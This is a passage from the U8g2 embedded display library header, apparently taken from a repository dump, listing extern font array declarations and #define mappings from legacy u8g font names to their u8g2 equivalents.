U8G2_FONT_SECTION(\"u8g2_font_inr49_mr\");\nextern const uint8_t u8g2_font_inr49_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr49_mn\");\nextern const uint8_t u8g2_font_inr49_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr49_t_cyrillic\");\nextern const uint8_t u8g2_font_inr53_mf[] U8G2_FONT_SECTION(\"u8g2_font_inr53_mf\");\nextern const uint8_t u8g2_font_inr53_mr[] U8G2_FONT_SECTION(\"u8g2_font_inr53_mr\");\nextern const uint8_t u8g2_font_inr53_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr53_mn\");\nextern const uint8_t u8g2_font_inr53_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_inr53_t_cyrillic\");\nextern const uint8_t u8g2_font_inr57_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr57_mn\");\nextern const uint8_t u8g2_font_inr62_mn[] U8G2_FONT_SECTION(\"u8g2_font_inr62_mn\");\nextern const uint8_t u8g2_font_inb16_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb16_mf\");\nextern const uint8_t u8g2_font_inb16_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb16_mr\");\nextern const uint8_t u8g2_font_inb16_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb16_mn\");\nextern const uint8_t u8g2_font_inb19_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb19_mf\");\nextern const uint8_t u8g2_font_inb19_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb19_mr\");\nextern const uint8_t u8g2_font_inb19_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb19_mn\");\nextern const uint8_t u8g2_font_inb21_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb21_mf\");\nextern const uint8_t u8g2_font_inb21_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb21_mr\");\nextern const uint8_t u8g2_font_inb21_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb21_mn\");\nextern const uint8_t u8g2_font_inb24_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb24_mf\");\nextern const uint8_t u8g2_font_inb24_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb24_mr\");\nextern const uint8_t u8g2_font_inb24_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb24_mn\");\nextern const uint8_t u8g2_font_inb27_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb27_mf\");\nextern const uint8_t u8g2_font_inb27_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb27_mr\");\nextern const uint8_t u8g2_font_inb27_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb27_mn\");\nextern const uint8_t u8g2_font_inb30_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb30_mf\");\nextern const uint8_t u8g2_font_inb30_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb30_mr\");\nextern const uint8_t u8g2_font_inb30_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb30_mn\");\nextern const uint8_t u8g2_font_inb33_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb33_mf\");\nextern const uint8_t u8g2_font_inb33_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb33_mr\");\nextern const uint8_t u8g2_font_inb33_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb33_mn\");\nextern const uint8_t u8g2_font_inb38_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb38_mf\");\nextern const uint8_t u8g2_font_inb38_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb38_mr\");\nextern const uint8_t u8g2_font_inb38_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb38_mn\");\nextern const uint8_t u8g2_font_inb42_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb42_mf\");\nextern const uint8_t u8g2_font_inb42_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb42_mr\");\nextern const uint8_t u8g2_font_inb42_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb42_mn\");\nextern const uint8_t u8g2_font_inb46_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb46_mf\");\nextern const uint8_t u8g2_font_inb46_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb46_mr\");\nextern const uint8_t u8g2_font_inb46_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb46_mn\");\nextern const uint8_t u8g2_font_inb49_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb49_mf\");\nextern const uint8_t u8g2_font_inb49_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb49_mr\");\nextern const uint8_t u8g2_font_inb49_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb49_mn\");\nextern const uint8_t u8g2_font_inb53_mf[] U8G2_FONT_SECTION(\"u8g2_font_inb53_mf\");\nextern const uint8_t u8g2_font_inb53_mr[] U8G2_FONT_SECTION(\"u8g2_font_inb53_mr\");\nextern const uint8_t u8g2_font_inb53_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb53_mn\");\nextern const uint8_t u8g2_font_inb57_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb57_mn\");\nextern const uint8_t u8g2_font_inb63_mn[] U8G2_FONT_SECTION(\"u8g2_font_inb63_mn\");\nextern const uint8_t u8g2_font_logisoso16_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso16_tf\");\nextern const uint8_t u8g2_font_logisoso16_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso16_tr\");\nextern const uint8_t u8g2_font_logisoso16_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso16_tn\");\nextern const uint8_t u8g2_font_logisoso18_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso18_tf\");\nextern const uint8_t u8g2_font_logisoso18_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso18_tr\");\nextern const uint8_t u8g2_font_logisoso18_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso18_tn\");\nextern const uint8_t u8g2_font_logisoso20_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso20_tf\");\nextern const uint8_t u8g2_font_logisoso20_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso20_tr\");\nextern const uint8_t u8g2_font_logisoso20_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso20_tn\");\nextern const uint8_t u8g2_font_logisoso22_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso22_tf\");\nextern const uint8_t u8g2_font_logisoso22_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso22_tr\");\nextern const uint8_t u8g2_font_logisoso22_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso22_tn\");\nextern const uint8_t u8g2_font_logisoso24_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso24_tf\");\nextern const uint8_t u8g2_font_logisoso24_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso24_tr\");\nextern const uint8_t u8g2_font_logisoso24_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso24_tn\");\nextern const uint8_t u8g2_font_logisoso26_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso26_tf\");\nextern const uint8_t u8g2_font_logisoso26_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso26_tr\");\nextern const uint8_t u8g2_font_logisoso26_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso26_tn\");\nextern const uint8_t u8g2_font_logisoso28_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso28_tf\");\nextern const uint8_t u8g2_font_logisoso28_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso28_tr\");\nextern const uint8_t u8g2_font_logisoso28_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso28_tn\");\nextern const uint8_t u8g2_font_logisoso30_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso30_tf\");\nextern const uint8_t u8g2_font_logisoso30_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso30_tr\");\nextern const uint8_t u8g2_font_logisoso30_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso30_tn\");\nextern const uint8_t u8g2_font_logisoso32_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso32_tf\");\nextern const uint8_t u8g2_font_logisoso32_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso32_tr\");\nextern const uint8_t u8g2_font_logisoso32_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso32_tn\");\nextern const uint8_t u8g2_font_logisoso34_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso34_tf\");\nextern const uint8_t u8g2_font_logisoso34_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso34_tr\");\nextern const uint8_t u8g2_font_logisoso34_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso34_tn\");\nextern const uint8_t u8g2_font_logisoso38_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso38_tf\");\nextern const uint8_t u8g2_font_logisoso38_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso38_tr\");\nextern const uint8_t u8g2_font_logisoso38_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso38_tn\");\nextern const uint8_t u8g2_font_logisoso42_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso42_tf\");\nextern const uint8_t u8g2_font_logisoso42_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso42_tr\");\nextern const uint8_t u8g2_font_logisoso42_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso42_tn\");\nextern const uint8_t u8g2_font_logisoso46_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso46_tf\");\nextern const uint8_t u8g2_font_logisoso46_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso46_tr\");\nextern const uint8_t u8g2_font_logisoso46_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso46_tn\");\nextern const uint8_t u8g2_font_logisoso50_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso50_tf\");\nextern const uint8_t u8g2_font_logisoso50_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso50_tr\");\nextern const uint8_t u8g2_font_logisoso50_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso50_tn\");\nextern const uint8_t u8g2_font_logisoso54_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso54_tf\");\nextern const uint8_t u8g2_font_logisoso54_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso54_tr\");\nextern const uint8_t u8g2_font_logisoso54_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso54_tn\");\nextern const uint8_t u8g2_font_logisoso58_tf[] U8G2_FONT_SECTION(\"u8g2_font_logisoso58_tf\");\nextern const uint8_t u8g2_font_logisoso58_tr[] U8G2_FONT_SECTION(\"u8g2_font_logisoso58_tr\");\nextern const uint8_t u8g2_font_logisoso58_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso58_tn\");\nextern const uint8_t u8g2_font_logisoso62_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso62_tn\");\nextern const uint8_t u8g2_font_logisoso78_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso78_tn\");\nextern const uint8_t u8g2_font_logisoso92_tn[] U8G2_FONT_SECTION(\"u8g2_font_logisoso92_tn\");\nextern const uint8_t u8g2_font_pressstart2p_8f[] U8G2_FONT_SECTION(\"u8g2_font_pressstart2p_8f\");\nextern const uint8_t u8g2_font_pressstart2p_8r[] U8G2_FONT_SECTION(\"u8g2_font_pressstart2p_8r\");\nextern const uint8_t u8g2_font_pressstart2p_8n[] U8G2_FONT_SECTION(\"u8g2_font_pressstart2p_8n\");\nextern const uint8_t u8g2_font_pressstart2p_8u[] U8G2_FONT_SECTION(\"u8g2_font_pressstart2p_8u\");\nextern const uint8_t u8g2_font_pcsenior_8f[] U8G2_FONT_SECTION(\"u8g2_font_pcsenior_8f\");\nextern const uint8_t u8g2_font_pcsenior_8r[] U8G2_FONT_SECTION(\"u8g2_font_pcsenior_8r\");\nextern const uint8_t u8g2_font_pcsenior_8n[] U8G2_FONT_SECTION(\"u8g2_font_pcsenior_8n\");\nextern const uint8_t u8g2_font_pcsenior_8u[] U8G2_FONT_SECTION(\"u8g2_font_pcsenior_8u\");\nextern const uint8_t u8g2_font_pxplusibmcgathin_8f[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcgathin_8f\");\nextern const uint8_t u8g2_font_pxplusibmcgathin_8r[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcgathin_8r\");\nextern const uint8_t u8g2_font_pxplusibmcgathin_8n[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcgathin_8n\");\nextern const uint8_t u8g2_font_pxplusibmcgathin_8u[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcgathin_8u\");\nextern const uint8_t u8g2_font_pxplusibmcga_8f[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcga_8f\");\nextern const uint8_t u8g2_font_pxplusibmcga_8r[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcga_8r\");\nextern const uint8_t u8g2_font_pxplusibmcga_8n[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcga_8n\");\nextern const uint8_t u8g2_font_pxplusibmcga_8u[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmcga_8u\");\nextern const uint8_t u8g2_font_pxplustandynewtv_8f[] U8G2_FONT_SECTION(\"u8g2_font_pxplustandynewtv_8f\");\nextern const uint8_t u8g2_font_pxplustandynewtv_8r[] U8G2_FONT_SECTION(\"u8g2_font_pxplustandynewtv_8r\");\nextern const uint8_t u8g2_font_pxplustandynewtv_8n[] U8G2_FONT_SECTION(\"u8g2_font_pxplustandynewtv_8n\");\nextern const uint8_t u8g2_font_pxplustandynewtv_8u[] U8G2_FONT_SECTION(\"u8g2_font_pxplustandynewtv_8u\");\nextern const uint8_t u8g2_font_pxplustandynewtv_t_all[] U8G2_FONT_SECTION(\"u8g2_font_pxplustandynewtv_t_all\");\nextern const uint8_t u8g2_font_pxplustandynewtv_8_all[] U8G2_FONT_SECTION(\"u8g2_font_pxplustandynewtv_8_all\");\nextern const uint8_t u8g2_font_pxplusibmvga9_tf[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_tf\");\nextern const uint8_t u8g2_font_pxplusibmvga9_tr[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_tr\");\nextern const uint8_t u8g2_font_pxplusibmvga9_tn[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_tn\");\nextern const uint8_t u8g2_font_pxplusibmvga9_mf[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_mf\");\nextern const uint8_t u8g2_font_pxplusibmvga9_mr[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_mr\");\nextern const uint8_t u8g2_font_pxplusibmvga9_mn[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_mn\");\nextern const uint8_t u8g2_font_pxplusibmvga9_t_all[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_t_all\");\nextern const uint8_t u8g2_font_pxplusibmvga9_m_all[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga9_m_all\");\nextern const uint8_t u8g2_font_pxplusibmvga8_tf[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_tf\");\nextern const uint8_t u8g2_font_pxplusibmvga8_tr[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_tr\");\nextern const uint8_t u8g2_font_pxplusibmvga8_tn[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_tn\");\nextern const uint8_t u8g2_font_pxplusibmvga8_mf[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_mf\");\nextern const uint8_t u8g2_font_pxplusibmvga8_mr[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_mr\");\nextern const uint8_t u8g2_font_pxplusibmvga8_mn[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_mn\");\nextern const uint8_t u8g2_font_pxplusibmvga8_t_all[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_t_all\");\nextern const uint8_t u8g2_font_pxplusibmvga8_m_all[] U8G2_FONT_SECTION(\"u8g2_font_pxplusibmvga8_m_all\");\nextern const uint8_t u8g2_font_px437wyse700a_tf[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700a_tf\");\nextern const uint8_t u8g2_font_px437wyse700a_tr[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700a_tr\");\nextern const uint8_t u8g2_font_px437wyse700a_tn[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700a_tn\");\nextern const uint8_t u8g2_font_px437wyse700a_mf[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700a_mf\");\nextern const uint8_t u8g2_font_px437wyse700a_mr[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700a_mr\");\nextern const uint8_t u8g2_font_px437wyse700a_mn[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700a_mn\");\nextern const uint8_t u8g2_font_px437wyse700b_tf[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700b_tf\");\nextern const uint8_t u8g2_font_px437wyse700b_tr[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700b_tr\");\nextern const uint8_t u8g2_font_px437wyse700b_tn[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700b_tn\");\nextern const uint8_t u8g2_font_px437wyse700b_mf[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700b_mf\");\nextern const uint8_t u8g2_font_px437wyse700b_mr[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700b_mr\");\nextern const uint8_t u8g2_font_px437wyse700b_mn[] U8G2_FONT_SECTION(\"u8g2_font_px437wyse700b_mn\");\n\n/* end font list */\n\n/*==========================================*/\n/* u8g font mapping, might be incomplete.... */\n\n\n#define u8g_font_10x20   u8g2_font_10x20_tf\n#define u8g_font_10x20r   u8g2_font_10x20_tr\n#define u8g_font_4x6   u8g2_font_4x6_tf\n#define u8g_font_4x6r   u8g2_font_4x6_tr\n#define u8g_font_5x7   u8g2_font_5x7_tf\n#define u8g_font_5x7r   u8g2_font_5x7_tr\n#define u8g_font_5x8   u8g2_font_5x8_tf\n#define u8g_font_5x8r   u8g2_font_5x8_tr\n#define u8g_font_6x10   u8g2_font_6x10_tf\n#define u8g_font_6x10r   u8g2_font_6x10_tr\n#define u8g_font_6x12   u8g2_font_6x12_tf\n#define u8g_font_6x12r   u8g2_font_6x12_tr\n#define u8g_font_6x13B   u8g2_font_6x13B_tf\n#define u8g_font_6x13Br   u8g2_font_6x13B_tr\n#define u8g_font_6x13   u8g2_font_6x13_tf\n#define u8g_font_6x13r   u8g2_font_6x13_tr\n#define u8g_font_6x13O   u8g2_font_6x13O_tf\n#define u8g_font_6x13Or   u8g2_font_6x13O_tr\n#define u8g_font_7x13B   u8g2_font_7x13B_tf\n#define u8g_font_7x13Br   u8g2_font_7x13B_tr\n#define u8g_font_7x13   u8g2_font_7x13_tf\n#define u8g_font_7x13r   u8g2_font_7x13_tr\n#define u8g_font_7x13O   u8g2_font_7x13O_tf\n#define u8g_font_7x13Or   u8g2_font_7x13O_tr\n#define u8g_font_7x14B   u8g2_font_7x14B_tf\n#define u8g_font_7x14Br   u8g2_font_7x14B_tr\n#define u8g_font_7x14   u8g2_font_7x14_tf\n#define u8g_font_7x14r   u8g2_font_7x14_tr\n#define u8g_font_8x13B   u8g2_font_8x13B_tf\n#define u8g_font_8x13Br   u8g2_font_8x13B_tr\n#define u8g_font_8x13   u8g2_font_8x13_tf\n#define u8g_font_8x13r   u8g2_font_8x13_tr\n#define u8g_font_8x13O   u8g2_font_8x13O_tf\n#define u8g_font_8x13Or   u8g2_font_8x13O_tr\n#define u8g_font_9x15B   u8g2_font_9x15B_tf\n#define u8g_font_9x15Br   u8g2_font_9x15B_tr\n#define u8g_font_9x15   u8g2_font_9x15_tf\n#define u8g_font_9x15r   u8g2_font_9x15_tr\n#define u8g_font_9x18B   u8g2_font_9x18B_tf\n#define u8g_font_9x18   u8g2_font_9x18_tf\n#define u8g_font_9x18Br   u8g2_font_9x18B_tr\n#define u8g_font_9x18r   u8g2_font_9x18_tr\n#define u8g_font_cu12   u8g2_font_cu12_tf\n#define u8g_font_micro   u8g2_font_micro_tf\n#define u8g_font_unifont   u8g2_font_unifont_t_latin\n#define u8g_font_unifontr   u8g2_font_unifont_t_latin\n#define u8g_font_courB08   u8g2_font_courB08_tf\n#define u8g_font_courB08r   u8g2_font_courB08_tr\n#define u8g_font_courB10   u8g2_font_courB10_tf\n#define u8g_font_courB10r   u8g2_font_courB10_tr\n#define u8g_font_courB12   u8g2_font_courB12_tf\n#define u8g_font_courB12r   u8g2_font_courB12_tr\n#define u8g_font_courB14   u8g2_font_courB14_tf\n#define u8g_font_courB14r   u8g2_font_courB14_tr\n#define u8g_font_courB18   u8g2_font_courB18_tf\n#define u8g_font_courB18r   u8g2_font_courB18_tr\n#define u8g_font_courB24   u8g2_font_courB24_tf\n#define u8g_font_courB24r   u8g2_font_courB24_tr\n#define u8g_font_courB24n   u8g2_font_courB24_tn\n#define u8g_font_courR08   u8g2_font_courR08_tf\n#define u8g_font_courR08r   u8g2_font_courR08_tr\n#define u8g_font_courR10   u8g2_font_courR10_tf\n#define u8g_font_courR10r   u8g2_font_courR10_tr\n#define u8g_font_courR12   u8g2_font_courR12_tf\n#define u8g_font_courR12r   u8g2_font_courR12_tr\n#define u8g_font_courR14   u8g2_font_courR14_tf\n#define u8g_font_courR14r   u8g2_font_courR14_tr\n#define u8g_font_courR18   u8g2_font_courR18_tf\n#define u8g_font_courR18r   u8g2_font_courR18_tr\n#define u8g_font_courR24   u8g2_font_courR24_tf\n#define u8g_font_courR24r   u8g2_font_courR24_tr\n#define u8g_font_courR24n   u8g2_font_courR24_tn\n#define u8g_font_helvB08   u8g2_font_helvB08_tf\n#define u8g_font_helvB08r   u8g2_font_helvB08_tr\n#define u8g_font_helvB08n   u8g2_font_helvB08_tn\n#define u8g_font_helvB10   u8g2_font_helvB10_tf\n#define u8g_font_helvB10r   u8g2_font_helvB10_tr\n#define u8g_font_helvB10n   u8g2_font_helvB10_tn\n#define u8g_font_helvB12   u8g2_font_helvB12_tf\n#define u8g_font_helvB12r   u8g2_font_helvB12_tr\n#define u8g_font_helvB12n   u8g2_font_helvB12_tn\n#define u8g_font_helvB14   u8g2_font_helvB14_tf\n#define u8g_font_helvB14r   u8g2_font_helvB14_tr\n#define u8g_font_helvB14n   u8g2_font_helvB14_tn\n#define u8g_font_helvB18   u8g2_font_helvB18_tf\n#define u8g_font_helvB18r   u8g2_font_helvB18_tr\n#define u8g_font_helvB18n   u8g2_font_helvB18_tn\n#define u8g_font_helvB24   u8g2_font_helvB24_tf\n#define u8g_font_helvB24r   u8g2_font_helvB24_tr\n#define u8g_font_helvB24n   u8g2_font_helvB24_tn\n#define u8g_font_helvR08   u8g2_font_helvR08_tf\n#define u8g_font_helvR08r   u8g2_font_helvR08_tr\n#define u8g_font_helvR08n   u8g2_font_helvR08_tn\n#define u8g_font_helvR10   u8g2_font_helvR10_tf\n#define u8g_font_helvR10r   u8g2_font_helvR10_tr\n#define u8g_font_helvR10n   u8g2_font_helvR10_tn\n#define u8g_font_helvR12   u8g2_font_helvR12_tf\n#define u8g_font_helvR12r   u8g2_font_helvR12_tr\n#define u8g_font_helvR12n   u8g2_font_helvR12_tn\n#define u8g_font_helvR14   u8g2_font_helvR14_tf\n#define u8g_font_helvR14r   u8g2_font_helvR14_tr\n#define u8g_font_helvR14n   u8g2_font_helvR14_tn\n#define u8g_font_helvR18   u8g2_font_helvR18_tf\n#define u8g_font_helvR18r   u8g2_font_helvR18_tr\n#define u8g_font_helvR18n   u8g2_font_helvR18_tn\n#define u8g_font_helvR24   u8g2_font_helvR24_tf\n#define u8g_font_helvR24r   u8g2_font_helvR24_tr\n#define u8g_font_helvR24n   u8g2_font_helvR24_tn\n#define u8g_font_ncenB08   u8g2_font_ncenB08_tf\n#define u8g_font_ncenB08r   u8g2_font_ncenB08_tr\n#define u8g_font_ncenB10   u8g2_font_ncenB10_tf\n#define u8g_font_ncenB10r   u8g2_font_ncenB10_tr\n#define u8g_font_ncenB12   u8g2_font_ncenB12_tf\n#define u8g_font_ncenB12r   u8g2_font_ncenB12_tr\n#define u8g_font_ncenB14   u8g2_font_ncenB14_tf\n#define u8g_font_ncenB14r   u8g2_font_ncenB14_tr\n#define u8g_font_ncenB18   u8g2_font_ncenB18_tf\n#define u8g_font_ncenB18r   u8g2_font_ncenB18_tr\n#define u8g_font_ncenB24   u8g2_font_ncenB24_tf\n#define u8g_font_ncenB24r   u8g2_font_ncenB24_tr\n#define u8g_font_ncenB24n   u8g2_font_ncenB24_tn\n#define u8g_font_ncenR08   u8g2_font_ncenR08_tf\n#define u8g_font_ncenR08r   u8g2_font_ncenR08_tr\n#define u8g_font_ncenR10   u8g2_font_ncenR10_tf\n#define u8g_font_ncenR10r   u8g2_font_ncenR10_tr\n#define u8g_font_ncenR12   u8g2_font_ncenR12_tf\n#define u8g_font_ncenR12r   u8g2_font_ncenR12_tr\n#define u8g_font_ncenR14   u8g2_font_ncenR14_tf\n#define u8g_font_ncenR14r   u8g2_font_ncenR14_tr\n#define u8g_font_ncenR18   u8g2_font_ncenR18_tf\n#define u8g_font_ncenR18r   u8g2_font_ncenR18_tr\n#define u8g_font_ncenR24   u8g2_font_ncenR24_tf\n#define u8g_font_ncenR24r   u8g2_font_ncenR24_tr\n#define u8g_font_ncenR24n   u8g2_font_ncenR24_tn\n#define u8g_font_timB08   u8g2_font_timB08_tf\n#define u8g_font_timB08r   u8g2_font_timB08_tr\n#define u8g_font_timB10   u8g2_font_timB10_tf\n#define u8g_font_timB10r   u8g2_font_timB10_tr\n#define u8g_font_timB12   u8g2_font_timB12_tf\n#define u8g_font_timB12r   u8g2_font_timB12_tr\n#define u8g_font_timB14   u8g2_font_timB14_tf\n#define u8g_font_timB14r   u8g2_font_timB14_tr\n#define u8g_font_timB18   u8g2_font_timB18_tf\n#define u8g_font_timB18r   u8g2_font_timB18_tr\n#define u8g_font_timB24   u8g2_font_timB24_tf\n#define u8g_font_timB24r   u8g2_font_timB24_tr\n#define u8g_font_timB24n   u8g2_font_timB24_tn\n#define u8g_font_timR08   u8g2_font_timR08_tf\n#define u8g_font_timR08r   u8g2_font_timR08_tr\n#define u8g_font_timR10   u8g2_font_timR10_tf\n#define u8g_font_timR10r   u8g2_font_timR10_tr\n#define u8g_font_timR12   u8g2_font_timR12_tf\n#define u8g_font_timR12r   u8g2_font_timR12_tr\n#define u8g_font_timR14   u8g2_font_timR14_tf\n#define u8g_font_timR14r   u8g2_font_timR14_tr\n#define u8g_font_timR18   u8g2_font_timR18_tf\n#define u8g_font_timR18r   u8g2_font_timR18_tr\n#define u8g_font_timR24   u8g2_font_timR24_tf\n#define u8g_font_timR24r   u8g2_font_timR24_tr\n#define u8g_font_timR24n   u8g2_font_timR24_tn\n#define u8g_font_p01type   u8g2_font_p01type_tf\n#define u8g_font_p01typer   u8g2_font_p01type_tr\n#define u8g_font_lucasfont_alternate   u8g2_font_lucasfont_alternate_tf\n#define u8g_font_lucasfont_alternater   u8g2_font_lucasfont_alternate_tr\n#define u8g_font_chikita   u8g2_font_chikita_tf\n#define u8g_font_chikitar   u8g2_font_chikita_tr\n#define u8g_font_pixelle_micro   u8g2_font_pixelle_micro_tf\n#define u8g_font_pixelle_micror   u8g2_font_pixelle_micro_tr\n#define u8g_font_trixel_square   u8g2_font_trixel_square_tf\n#define u8g_font_trixel_squarer   u8g2_font_trixel_square_tr\n#define u8g_font_robot_de_niro   u8g2_font_robot_de_niro_tf\n#define u8g_font_robot_de_niror   u8g2_font_robot_de_niro_tr\n#define u8g_font_baby   u8g2_font_baby_tf\n#define u8g_font_babyr   u8g2_font_baby_tr\n#define u8g_font_blipfest_07   u8g2_font_blipfest_07_tr\n#define u8g_font_blipfest_07r   u8g2_font_blipfest_07_tr\n#define u8g_font_blipfest_07n   u8g2_font_blipfest_07_tn\n#define u8g_font_profont10   u8g2_font_profont10_tf\n#define u8g_font_profont10r   u8g2_font_profont10_tr\n#define u8g_font_profont11   u8g2_font_profont11_tf\n#define u8g_font_profont11r   u8g2_font_profont11_tr\n#define u8g_font_profont12   u8g2_font_profont12_tf\n#define u8g_font_profont12r   u8g2_font_profont12_tr\n#define u8g_font_profont15   u8g2_font_profont15_tf\n#define u8g_font_profont15r   u8g2_font_profont15_tr\n#define u8g_font_profont17   u8g2_font_profont17_tf\n#define u8g_font_profont17r   u8g2_font_profont17_tr\n#define u8g_font_profont22   u8g2_font_profont22_tf\n#define u8g_font_profont22r   u8g2_font_profont22_tr\n#define u8g_font_profont29   u8g2_font_profont29_tf\n#define u8g_font_profont29r   u8g2_font_profont29_tr\n\n\n/*==========================================*/\n/* C++ compatible */\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_bitmap.c",
